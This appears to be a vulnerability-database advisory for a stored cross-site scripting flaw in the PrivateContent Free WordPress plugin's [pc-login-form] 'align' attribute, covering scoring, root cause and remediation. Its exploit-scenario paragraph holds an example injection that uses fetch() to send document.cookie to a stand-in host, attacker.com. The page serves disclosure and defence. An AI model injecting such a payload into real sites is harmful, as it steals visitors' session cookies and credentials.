Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 6.4 (Medium severity) with Network attack vector, Low complexity, and Low privilege requirement (PR:L) indicates a moderately exploitable vulnerability with limited blast radius. However, the exploitation requires authentication at Contributor level or above, significantly reducing the attack surface compared to unauthenticated XSS. The stored nature of the XSS elevates concern beyond reflected XSS, as injected scripts persist in the database and execute for all page visitors. The CVSS scope change (S:C) indicates potential cross-boundary impact, though limited to authenticated users with publishing capabilities. Exploitation is not automated (requires manual shortcode injection), but the barrier to entry for site contributors is low. Given the authentication requirement, this poses greatest risk to multi-user WordPress installations with less-trusted contributors. Without EPSS or KEV data confirming active exploitation, this represents a genuine but not critical priority-remediation should follow standard patching schedules rather than emergency procedures. |
| Exploit ScenarioDerived | A malicious contributor on a multi-author WordPress site injects a [pc-login-form] shortcode with an 'align' attribute containing JavaScript (e.g., align='left" onload="fetch(attacker.com/steal?cookie=' + document.cookie) " class="') into a published page. The unescaped attribute flows through pc_login_form() to form_align() where it is concatenated into the HTML without esc_attr(), rendering malicious JavaScript in the page source. When site visitors (including administrators) access the page, the injected script executes in their browsers, enabling credential theft or further compromise. The stored nature ensures the attack persists until discovered and remediated. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 08, 2026
Stored Cross-Site Scripting in PrivateContent Free WordPress plugin versions up to 1.2.0 allows authenticated contributors and above to inject arbitrary JavaScript through the 'align' shortcode attribute in [pc-login-form], which executes when any user visits an affected page. The vulnerability stems from the 'align' parameter being concatenated directly into an HTML class attribute without proper escaping (esc_attr), enabling persistent XSS attacks. No public exploit code or active exploitation has been identified at the time of analysis.
RemediationAI
Update the PrivateContent Free plugin to a version patched after 1.2.0 immediately; check the plugin repository or the Wordfence vulnerability advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a9ed2943-e108-49e3-ba16-f74ce3136bde for the current patched release. The upstream fix should implement esc_attr() escaping on the 'align' attribute within the form_align() function before concatenating it into the HTML class attribute. Until patched, administrators can audit existing [pc-login-form] shortcodes on published pages for suspicious 'align' attribute values (inspect pages via wp-admin or database queries), remove or sanitize compromised instances, and restrict Contributor-level user creation to trusted individuals. Review user roles and capabilities to ensure only necessary personnel possess publishing permissions.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the WordPress plugin architecture, specifically within the [pc-login-form] shortcode implementation. The PrivateContent Free plugin (CPE: cpe:2.3:a:lcweb-projects:privatecontent_free:*:*:*:*:*:*:*:*) processes the 'align' shortcode attribute through the pc_login_form() function, which passes the unsanitized value to pc_static::form_align(). This function concatenates the attribute directly into an HTML class attribute without applying WordPress's esc_attr() escaping function, violating CWE-79 (Improper Neutralization of Input During Web Page Generation). The flaw represents a classic stored XSS where user-supplied input from shortcode attributes is rendered in the DOM without proper output encoding, allowing script injection in pages containing the vulnerable shortcode.
Know when Privatecontent Free gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The PrivateContent Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'align' shortcode attribute in the [pc-login-form] shortcode in all versions up to, and including, 1.2.0. This is due to insufficient input sanitization and output escaping on the 'align' attribute. Specifically, the attribute value flows from the shortcode through pc_login_form() to pc_static::form_align(), where it is directly concatenated into an HTML class attribute without esc_attr() or any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-20431
GHSA-3w3c-w6r8-vrjc
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB